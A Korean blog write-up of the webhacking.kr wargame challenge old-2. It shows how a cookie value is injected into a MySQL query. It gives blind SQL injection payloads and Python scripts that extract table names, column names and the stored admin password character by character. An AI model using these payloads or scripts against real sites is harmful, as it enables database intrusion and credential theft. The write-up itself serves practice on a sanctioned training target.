[webhacking.kr] old-2 write-up
두비니
·2022. 8. 24. 23:14
webhacking.kr old-2
Write-Up
1. 문제 분석
이번에도 문제를 접속하면 큰 단서 없는 창이 나타난다. 소스코드를 분석하자.
큰 내용 없이 admin.php로 접속할 경우 빵댕이를 차버릴 것이라고 한다. 접속해보자.
비밀번호를 입력하라고만 하고 그 외의 힌트는 없다. (소스코드 포함)
기본적으로 sql injection을 시도도 해보았는데, 크게 단서가 없기 때문에 다른 방법을 찾아보았다.
2. Solution
이 문제는 Cookie를 통해 blind SQL Injection을 유도하는 문제인 것 같다.
이유는 아래와 같다.
위와 같이 cookie의 time 값이 기본 페이지의 주석값에 나타나는 것을 알 수 있다.
이를 다른 값으로 바꿀 경우 다음과 같이 바뀐다.
내가 입력한 숫자로 바뀔 뿐만 아니라, 참/거짓을 판단하는 구문이 있다면 이에 대한 판단도 한 뒤 그 결과를 알려준다.
만약 MySQL의 FROM_UNIXTIME() 함수를 사용하는 경우, 여기에 SQL Injection이 가능할 것이라고 생각된다.
즉, 내가 생각하는 소스코드는 다음과 같다.
SELECT FROM_UNIXTIME($_COOKIE["time"])
FROM_UNIXTIME() 함수에 대한 설명은 여기: https://www.w3resource.com/mysql/date-and-time-functions/mysql-from_unixtime-function.php
그러면 여기서 다시 문제목표를 다시 파악할 필요가 있다.
최종 목표: admin.php 페이지의 secret password를 알아내는 것
필요한 것:
- table_name
- column_name (비밀번호가 있는 column)
- 위에서 찾은 column_name에서 비밀번호 찾기
하나하나씩 찾아봅시다.
2-1. table_name 찾기
가장 먼저 테이블이 몇 개 있는지부터 찾아보자. 숫자로 리턴값을 받을 수 있기 때문에 count()를 통해 몇 개가 있는지까지는 파악할 수 있을 것으로 보인다.
(select count(table_name) from information_schema.tables where table_schema=database())
우선 table_name은 총 2개가 있는 것으로 보인다. 이제 각 table의 길이를 알아보자.
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)
(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)
각각 길이가 13, 그리고 3인 것을 확인할 수 있다. 결국 table의 이름을 알아야 column도 뽑을 수 있는데, 여기서부턴 스크립트를 통해 알아내자.
기본 페이로드는 다음과 같다.
// 첫 번째 table name 알아내기
select ascii(substring(table_name,{num},1)) from information_schema.tables where table_schema=database() limit 0,1
// 두 번째 table name 알아내기
select ascii(substring(table_name,{num},1)) from information_schema.tables where table_schema=database() limit 1,1
그리고 사용한 script는 다음과 같다. 두 번째 table name은 payload와 for문 range만 바꿔주면 되기 때문에 생략한다.
import requests
url = 'https://webhacking.kr/challenge/web-02/'
cookie = {
"PHPSESSID": "YOUR_PHPSESSID",
"time": "",
}
payload = "(select ascii(substring(table_name,{}, 1)) from information_schema.tables where table_schema=database() limit 0,1)"
table_name = ""
for i in range(1, 14):
cookie["time"] = payload.format(i)
r = requests.get(url, cookies=cookie)
res = r.text
time = res.split('\n')[1] # time = "2070-01-01 09:01:37"
ascii_code = int(time[14:16])*60 + int(time[17:19]) # time[14:16] = "01", time[17:19] = "37"
table_name += chr(ascii_code)
print(table_name)
print(f"[!] Found table_name: {table_name}")
그렇게 추출해낸 table_name은 다음과 같다.
admin_area_pw와 log 중 우리가 원하는 값은 첫 번째 테이블에 있을 것 같아 첫 번째 테이블을 더 보기로 했다.
2-2. column_name 찾기
우선 table_name은 찾았으니, column_name만 찾으면 될 것 같다.
column_name 속 값의 갯수와 길이를 찾는 페이로드는 다음과 같다.
// column_name 갯수 구하기
select count(column_name) from information_schema.tables where table_name="admin_area_pw"
// 길이 구하기
select length(column_name) from information_schema.tables where table_name="admin_area_pw"
admin_area_pw는 1개의 컬럼만 가지고 있고, 길이도 2밖에 되지 않는 것을 알 수 있다. 이름을 알아보도록 하자.
import requests
url = 'https://webhacking.kr/challenge/web-02/'
cookie = {
"PHPSESSID": "YOUR_PHPSESSID",
"time": "",
}
payload = "(select ascii(substring(table_name,{}, 1)) from information_schema.tables where table_schema=database() limit 0,1)"
table_name = "admin_area_pw"
column_name = ""
payload = "(select ascii(substring(column_name,{},1)) from information_schema.columns where table_name=\"{}\")"
for i in range(1, 3):
cookie["time"] = payload.format(i,table_name)
r = requests.get(url, cookies=cookie)
res = r.text
time = res.split('\n')[1]
ascii_code = int(time[14:16])*60 + int(time[17:19])
column_name += chr(ascii_code)
print(f"[!] Found column_name : {column_name}")
column_name이 pw인 것까지 파악했다. 이제 data가 어떤 값인지만 확인하면 끝!
2-3. data 찾기
어차피 반복이긴 하다. 마지막!
// column_name 갯수 구하기
select count(pw) from admin_area_pw
// 길이 구하기
select length(pw) from admin_area_pw
짠! pw는 값이 1개밖에 없고, 길이도 17이다. 한번 더 blind SQL injection을 진행하도록 한다.
결과는 생략.
import requests
url = 'https://webhacking.kr/challenge/web-02/'
cookie = {
"PHPSESSID": "YOUR_PHPSESSID",
"time": "",
}
payload = "(select ascii(substring(table_name,{}, 1)) from information_schema.tables where table_schema=database() limit 0,1)"
table_name = "admin_area_pw"
column_name = "pw"
data = ""
payload = "(select ascii(substring({},{},1)) from {})"
for i in range(1, 18):
cookie["time"] = payload.format(column_name,i,table_name)
r = requests.get(url, cookies=cookie)
res = r.text
time = res.split('\n')[1]
ascii_code = int(time[14:16])*60 + int(time[17:19])
data += chr(ascii_code)
print(f"[!] Found data : {data}")
3. 결론
기본적인 Blind SQL Injection과 더불어 SQL의 구조를 학습할 수 있는 좋은 문제였다.
참고용으로 한번에 data까지 한꺼번에 구할 수 있는 코드도 올린다. (더보기 참조)
import requests
url = 'https://webhacking.kr/challenge/web-02/'
cookie = {
"PHPSESSID": "YOUR_PHPSESSID",
"time": "",
}
table_name = ""
column_name = ""
data = ""
def find_table_name():
global table_name
payload = "(select ascii(substring(table_name,{},1)) from information_schema.tables where table_schema=database() limit 0,1)"
for i in range(1, 14):
cookie["time"] = payload.format(i)
r = requests.get(url, cookies=cookie)
res = r.text
time = res.split('\n')[1] # time = "2070-01-01 09:01:37"
ascii_code = int(time[14:16])*60 + int(time[17:19]) # time[14:16] = "01", time[17:19] = "37"
table_name += chr(ascii_code)
# print(table_name)
print(f"[!] Found table_name: {table_name}")
def find_column_name():
global table_name, column_name
payload = "(select ascii(substring(column_name,{},1)) from information_schema.columns where table_name=\"{}\")"
for i in range(1, 3):
cookie["time"] = payload.format(i,table_name)
r = requests.get(url, cookies=cookie)
res = r.text
time = res.split('\n')[1]
ascii_code = int(time[14:16])*60 + int(time[17:19])
column_name += chr(ascii_code)
print(f"[!] Found column_name : {column_name}")
def find_data():
global table_name, column_name, data
payload = "(select ascii(substring({},{},1)) from {})"
for i in range(1, 18):
cookie["time"] = payload.format(column_name, i,table_name)
r = requests.get(url, cookies=cookie)
res = r.text
time = res.split('\n')[1]
ascii_code = int(time[14:16])*60 + int(time[17:19])
data += chr(ascii_code)
print(f"[!] Found data : {data}")
if __name__ == "__main__":
find_table_name()
find_column_name()
find_data()
참고
https://www.w3schools.com/sql/sql_create_table.asp
'War Games > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] old-6 Write-Up (0) | 2022.08.30 |
---|---|
[webhacking.kr] old-5 Write-Up (0) | 2022.08.29 |
[webhacking.kr] old-4 Write-Up (0) | 2022.08.28 |
[webhacking.kr] old-3 Write-Up (4) | 2022.08.26 |
[webhacking.kr] old-1 Write-Up (0) | 2022.08.21 |